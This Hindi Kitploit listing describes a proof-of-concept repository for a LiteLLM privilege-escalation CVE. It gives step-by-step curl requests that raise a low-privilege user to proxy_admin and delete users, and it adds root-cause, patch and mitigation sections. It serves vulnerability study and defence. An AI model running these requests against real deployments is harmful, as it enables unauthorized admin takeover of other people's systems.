Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-47102-PoC — संबंधित कमजोरी को व्यक्तिगत रूप से पुन: उत्पन्न करने का कोड | Kitploit
उपकरण/GitHubGitHub/learner202649/cve-2026-47102-poc
विशेषाधिकार वृद्धिभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHublearner202649/cve-2026-47102-poc

CVE-2026-47102-PoC

संबंधित कमजोरी को व्यक्तिगत रूप से पुन: उत्पन्न करने का कोड

रिपॉजिटरी देखें
93 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-47102 — LiteLLM Privilege Escalation via /user/update

LiteLLM v1.83.7 (v1.83.10 से पहले के संस्करण) का /user/update एंडपॉइंट उन निम्न-अनुमति वाले उपयोगकर्ताओं को, जिनके पास इस एंडपॉइंट तक पहुँच है, अपने खाते को अपडेट करते समय user_role फ़ील्ड को proxy_admin में बदलने की अनुमति देता है, जिससे अनधिकृत विशेषाधिकार वृद्धि होती है।

फ़ील्डमान
CVECVE-2026-47102
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (ग़लत प्राधिकरण)
प्रभावितLiteLLM < 1.83.10 (v1.83.7 पर पुष्टि)
ठीक किया गयाv1.83.10+ (user_role फ़ील्ड संशोधन अनुमति सत्यापन जोड़ा गया)
प्रकाशित2026-05-21
खोजकर्ताFenix Qiao (13ph03nix) — Obsidian Security
लिंकNVD

विवरण

LiteLLM का /user/update एंडपॉइंट उपयोगकर्ता गुणों को अपडेट करने के लिए उपयोग होता है। प्रभावित संस्करणों में, /user/update का can_user_call_user_update() फ़ंक्शन जाँचता है कि क्या उपयोगकर्ता को निर्दिष्ट उपयोगकर्ता को अपडेट करने का अधिकार है (उपयोगकर्ता को अपने स्वयं के रिकॉर्ड को अपडेट करने की अनुमति देता है), लेकिन संशोधित किए जा सकने वाले फ़ील्ड पर कोई प्रतिबंध नहीं लगाता।

इसका अर्थ है कि कोई भी उपयोगकर्ता जो /user/update एंडपॉइंट तक पहुँच सकता है (जैसे, प्रशासक द्वारा इस रूट की अनुमति दिए गए उपयोगकर्ता, या अन्य भेद्यताओं के माध्यम से इस एंडपॉइंट तक पहुँच प्राप्त करने वाला हमलावर), अपने user_role फ़ील्ड को बदलकर अपनी भूमिका को proxy_admin तक बढ़ा सकता है, और सभी प्रशासनिक एंडपॉइंट तक पूर्ण पहुँच प्राप्त कर सकता है।

हमला श्रृंखला

root@kitploit:~
प्रशासक internal_user के लिए /user/update रूट अनुमति वाली API key बनाता है
  →  internal_user को route-level पहुँच मिलती है
  →  POST /user/update  {"user_id": "...", "user_role": "proxy_admin"}  ← CVE-2026-47102
  →  भूमिका proxy_admin तक बढ़ जाती है
  →  GET /user/list  (प्रशासक पहुँच सत्यापित करें)

CVE-2026-47101 से अंतर

दोनों भेद्यताओं को श्रृंखला में उपयोग किया जा सकता है: CVE-2026-47101 का उपयोग वाइल्डकार्ड रूट key बनाने ( /user/update तक पहुँचने) के लिए, और CVE-2026-47102 का उपयोग अपनी भूमिका को proxy_admin तक बढ़ाने के लिए।


प्रमाण की अवधारणा

वातावरण तैयार करना

root@kitploit:~
# 1. PostgreSQL + भेद्यता वाला LiteLLM (v1.83.7-stable) प्रारंभ करें
docker compose up -d litellm

# सेवा तैयार होने तक प्रतीक्षा करें (लगभग 10-30 सेकंड)
sleep 15

सेवा चालू होने की पुष्टि

root@kitploit:~
# कंटेनर लॉग जाँचें
docker logs litellm-47102-privesc 2>&1 | tail -10

अपेक्षित आउटपुट में Uvicorn running on http://0.0.0.0:4000 जैसे सफल प्रारंभ लॉग शामिल होने चाहिए।

चरण 1: internal_user खाता बनाना

मास्टर key का उपयोग करके एक निम्न-अनुमति वाला internal_user खाता बनाएँ:

root@kitploit:~
curl -s -X POST http://localhost:4002/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

अपेक्षित आउटपुट:

root@kitploit:~
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

चरण 2: प्रशासक /user/update रूट अनुमति वाली key प्रदान करता है

प्रशासक internal_user के लिए /user/update रूट तक पहुँच वाली API key बनाता है। यह वास्तविक वातावरण में /user/update एंडपॉइंट तक पहुँच प्राप्त करने का विशिष्ट तरीका है:

root@kitploit:~
# मास्टर key का उपयोग करके /user/update रूट वाली key बनाएँ
curl -s -X POST http://localhost:4002/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'

अपेक्षित आउटपुट:

root@kitploit:~
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}

चरण 3: proxy_admin तक विशेषाधिकार वृद्धि (CVE-2026-47102)

पिछले चरण में प्राप्त /user/update रूट अनुमति वाली key का उपयोग करके, उपयोगकर्ता भूमिका को proxy_admin तक बढ़ाएँ:

root@kitploit:~
curl -s -X POST http://localhost:4002/user/update \
  -H "Authorization: Bearer sk-route-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

अपेक्षित आउटपुट:

root@kitploit:~
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ भेद्यता बिंदु: user_role internal_user से बदलकर proxy_admin हो गया है! /user/update एंडपॉइंट उपयोगकर्ता को अपने स्वयं के user_role फ़ील्ड को संशोधित करने की अनुमति देता है, बिना किसी फ़ील्ड-स्तरीय अनुमति प्रतिबंध के।

चरण 4: प्रशासक पहुँच सत्यापित करें

/user/list एंडपॉइंट के माध्यम से भूमिका वृद्धि की पुष्टि करें (मूल internal_user की API key का उपयोग करके, जिसमें कोई रूट प्रतिबंध नहीं है; proxy_admin बनने पर स्वचालित रूप से प्रशासक पहुँच मिल जाती है):

root@kitploit:~
# proxy_admin तक बढ़ाई गई key का उपयोग करें (मूल internal_user key, बिना रूट प्रतिबंध)
curl -s -X GET http://localhost:4002/user/list \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json"

अपेक्षित आउटपुट:

root@kitploit:~
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

चरण 5: विस्तार — प्रशासक उपयोगकर्ता को हटाना

प्राप्त proxy_admin अनुमति का उपयोग करके, /user/delete के माध्यम से किसी भी उपयोगकर्ता को हटाया जा सकता है (फिर से मूल internal_user की API key का उपयोग करके):

root@kitploit:~
curl -s -X POST http://localhost:4002/user/delete \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

अपेक्षित आउटपुट:

root@kitploit:~
1

एक-क्लिक पुनरुत्पादन

उपरोक्त चरणों को demo.sh में एकीकृत किया गया है, जिसे सीधे निष्पादित किया जा सकता है:

root@kitploit:~
# पूर्ण पुनरुत्पादन (भेद्यता संस्करण + सुधार संस्करण तुलना)
bash demo.sh

सुधार संस्करण सत्यापन

सुधार संस्करण (v1.83.10-stable) प्रारंभ करें और सत्यापित करें कि CVE-2026-47102 ठीक हो गया है:

root@kitploit:~
docker compose --profile fixed up -d litellm-fixed

internal_user बनाएँ:

root@kitploit:~
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")

/user/update रूट वाली key बनाएँ:

root@kitploit:~
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

विशेषाधिकार बढ़ाने का प्रयास करें (अपेक्षा: अवरुद्ध होना चाहिए):

root@kitploit:~
curl -s -X POST http://localhost:4003/user/update \
  -H "Authorization: Bearer $FIXED_ROUTE_KEY" \
  -H "Content-Type: application/json" \
  -d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"

अपेक्षित आउटपुट (सुधार संस्करण अनधिकृत अनुरोध को अवरुद्ध करता है):

root@kitploit:~
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}

भेद्यता संस्करण से तुलना:

परीक्षण परिदृश्यभेद्यता संस्करण (v1.83.7)सुधार संस्करण (v1.83.10)
रूट key द्वारा user_role संशोधन✅ सफलतापूर्वक proxy_admin तक बढ़ा❌ अवरुद्ध ("Only proxy admins can modify user roles.")
/user/list तक पहुँच✅ सफलतापूर्वक उपयोगकर्ता सूची प्राप्त❌ अवरुद्ध

मूल कारण विश्लेषण

भेद्यता का मूल कारण /user/update एंडपॉइंट के can_user_call_user_update() फ़ंक्शन में है:

/user/update — फ़ील्ड-स्तरीय अनुमति सत्यापन का अभाव

root@kitploit:~
# भेद्यता वाला कोड — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return True  # प्रशासक किसी भी उपयोगकर्ता को अपडेट कर सकता है
    elif user_api_key_dict.user_id == user_info.user_id:
        return True  # ❌ उपयोगकर्ता अपने स्वयं के रिकॉर्ड को अपडेट कर सकता है — user_role फ़ील्ड सहित!
    return False

सुधार योजना (v1.83.10+):

root@kitploit:~
def can_user_call_user_update(user_api_key_dict, user_info, data):
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return True  # प्रशासक अभी भी किसी भी उपयोगकर्ता और फ़ील्ड को अपडेट कर सकता है
    elif user_api_key_dict.user_id == user_info.user_id:
        # गैर-प्रशासक द्वारा संशोधित किए जा सकने वाले फ़ील्ड को प्रतिबंधित करें
        allowed_fields = {"metadata", "display_name", "email"}
        requested_fields = set(data.keys())
        forbidden = requested_fields - allowed_fields
        if forbidden:
            raise ForbiddenError(f"Cannot modify fields: {forbidden}")
        return True
    return False

शोषण तकनीक

पूर्व शर्तें

हमलावर के पास /user/update एंडपॉइंट तक पहुँचने वाली एक API key होनी चाहिए। यह निम्नलिखित तरीकों से प्राप्त की जा सकती है:

  1. प्रशासक द्वारा रूट अनुमति प्रदान करना — प्रशासक ने /user/update रूट वाली key बनाई
  2. CVE-2026-47101 — /key/generate के वाइल्डकार्ड रूट भेद्यता का उपयोग करके वाइल्डकार्ड key बनाना
  3. org_admin भूमिका — org_admin के पास कुछ कॉन्फ़िगरेशन में /user/update तक पहुँच होती है

हमले के चरण

चरण 1: /user/update रूट अनुमति वाली API key प्राप्त करें

चरण 2: भूमिका बढ़ाने के लिए /user/update कॉल करें:

root@kitploit:~
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}

चरण 3: प्रशासक अनुमति सत्यापित करें:

root@kitploit:~
GET /user/list
Authorization: Bearer sk-route-key

पैच विश्लेषण (v1.83.10)

सुधार संस्करण में /user/update में फ़ील्ड-स्तरीय अनुमति सत्यापन जोड़ा गया:

  1. गैर-प्रशासक द्वारा संशोधित किए जा सकने वाले फ़ील्ड को प्रतिबंधित करना — internal_user केवल metadata जैसे गैर-महत्वपूर्ण फ़ील्ड को अपडेट कर सकता है
  2. user_role फ़ील्ड की सुरक्षा — केवल proxy_admin ही उपयोगकर्ता भूमिका को संशोधित कर सकता है
  3. स्व-अपडेट क्षमता बनाए रखना — उपयोगकर्ता अभी भी अपनी मूल जानकारी अपडेट कर सकते हैं, लेकिन विशेषाधिकार नहीं बढ़ा सकते

त्रुटि संदेश: "Only proxy admins can modify user roles."


रिपॉजिटरी संरचना

root@kitploit:~
CVE-2026-47102/
├── README.md                               # यह फ़ाइल
├── CVE-2026-47102_漏洞复现报告.docx          # पुनरुत्पादन रिपोर्ट (चीनी)
├── docker-compose.yml                      # PostgreSQL + भेद्यता/सुधार LiteLLM
├── config.yaml                             # डेटाबेस कनेक्शन के साथ LiteLLM कॉन्फ़िग
├── requirements.txt                        # Python निर्भरताएँ
├── demo.sh                                 # एक-क्लिक पुनरुत्पादन स्क्रिप्ट
├── exploit/
│   ├── exploit.py                          # Python शोषण स्क्रिप्ट
│   └── payload.py                          # पेलोड निर्माता
├── docs/
└── screenshots/

शमन

  1. अपग्रेड करें LiteLLM v1.83.10+ पर (ठीक किया गया /user/update फ़ील्ड-स्तरीय प्राधिकरण)
  2. प्रतिबंधित करें API key रूट विशेषाधिकार — केवल आवश्यक रूट प्रदान करें
  3. ऑडिट करें मौजूदा उपयोगकर्ताओं और keys को विशेषाधिकार वृद्धि के संकेतों के लिए
  4. निगरानी करें /user/update कॉल्स को user_role परिवर्तनों के साथ असामान्य गतिविधि के लिए

संदर्भ

  • NVD विवरण
  • Obsidian Security सलाह

अस्वीकरण: यह सामग्री केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान की गई है।

टूल डाउनलोड करें
तुलना आइटमCVE-2026-47101CVE-2026-47102
भेद्यता का फोकस/key/generate allowed_routes को सत्यापित नहीं करता/user/update में फ़ील्ड-स्तरीय अनुमति का अभाव
हमले की पूर्व शर्तinternal_user सीधे /key/generate को कॉल कर सकता हैपहले /user/update रूट तक पहुँच प्राप्त करनी होगी
सुधार संस्करणv1.83.14v1.83.10